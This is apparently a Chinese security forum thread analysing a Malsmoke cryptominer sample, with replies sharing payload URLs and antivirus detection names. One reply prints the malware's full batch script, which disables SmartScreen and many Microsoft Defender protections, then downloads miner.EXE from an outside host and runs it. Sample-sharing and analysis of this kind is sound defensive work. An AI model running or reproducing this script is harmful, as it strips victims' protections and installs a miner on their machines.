#Malsmoke #Miner（7.30）

显示全部楼层 · 发表于 2021-7-30 12:46:30

ANY.LNK 发表于 2021-7-30 12:43
按理说单纯杀了SmartScreen不会造成整个服务都停止的状况，难道是因为是msi所以可以调用Windows Moudles ...

完整代码看一下
cd /d %~dp0

takeown /f "%systemroot%\System32\smartscreen.exe" /a
icacls "%systemroot%\System32\smartscreen.exe" /reset
taskkill /im smartscreen.exe /f
icacls "%systemroot%\System32\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
start /b powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"%USERPROFILE%\AppData\Roaming'"

start /b powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
start /b powershell.exe -command "Add-MpPreference -ExclusionExtension ".dll""
cmd /c powershell.exe -command "Set-MpPreference -MAPSReporting 0"

start /b powershell.exe -command "Set-MpPreference -PUAProtection disable"
start /b powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"

start /b powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"

start /b powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"

start /b powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"

start /b powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
start /b powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"

start /b powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
start /b powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"

start /b powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
start /b powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
start /b powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"

start /b powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
start /b powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"

start /b powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"

start /b powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"

start /b powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"
cd "%USERPROFILE%\AppData\Roaming
powershell Invoke-WebRequest https://qmumdjffuiocstjfmdqt.com/miner.EXE -OutFile miner.EXE
explorer.exe "miner.EXE"

显示全部楼层 · 发表于 2021-7-30 12:53:02

hsks 发表于 2021-7-30 12:46
完整代码看一下
cd /d %~dp0

看起来就像是魔改的Defeat-Defender，但其中好像没有看到提权模块也并没有把整个服务杀掉的命令行，所以是怎么停掉Defender的服务的？

显示全部楼层 · 发表于 2021-7-30 12:55:39

本帖最后由 hsks 于 2021-7-30 12:56 编辑

ANY.LNK 发表于 2021-7-30 12:53
看起来就像是魔改的Defeat-Defender，但其中好像没有看到提权模块也并没有把整个服务杀掉的命令行，所以 ...

不排除通过其他组件来杀WD

当然我对WD没什么研究

显示全部楼层 · 发表于 2021-7-30 13:23:05

https://qmumdjffuiocstjfmdqt.com/test5.exe
套娃？

显示全部楼层 · 发表于 2021-7-30 14:05:24

本帖最后由 petr0vic 于 2021-7-30 14:07 编辑

hsks 发表于 2021-7-30 12:00
https://qmumdjffuiocstjfmdqt.com/miner.EXE

#Payload

https://twitter.com/petrovic082/status/1420988195953647616
miner
https://www.virustotal.com/gui/f ... 11c2191ab/detection

显示全部楼层 · 发表于 2021-7-30 15:00:06

hsks 发表于 2021-7-30 12:02
takeown /f "%systemroot%\System32\smartscreen.exe" /a
icacls "%systemroot%\System32\smartscreen.e ...

服务瘫的很彻底，还是恢复快照吧

显示全部楼层 · 发表于 2021-7-30 15:18:55

360

显示全部楼层 · 发表于 2021-7-30 17:20:57

Hello,

New malicious software was found in the attached file. Its detection will be included in the next update.
Trojan.BAT.Agent.bkd
Thank you for your help.

显示全部楼层 · 发表于 2021-7-30 18:18:08

ESET Generik.INTLILO

显示全部楼层 · 发表于 2021-7-30 22:09:46

petr0vic 发表于 2021-7-30 14:05
https://twitter.com/petrovic082/status/1420988195953647616
miner
https://www.virustotal.com/gui/ ...

More

：https://sanctam.net:58899/assets/txt/resource_url.php?type=xmrig

https://bitbucket.org/Sanctam/sa ... 5ca6/includes/xmrig
Zip-------------Xmrig

禁止套娃

[病毒样本] #Malsmoke #Miner（7.30）

评分

本帖子中包含更多资源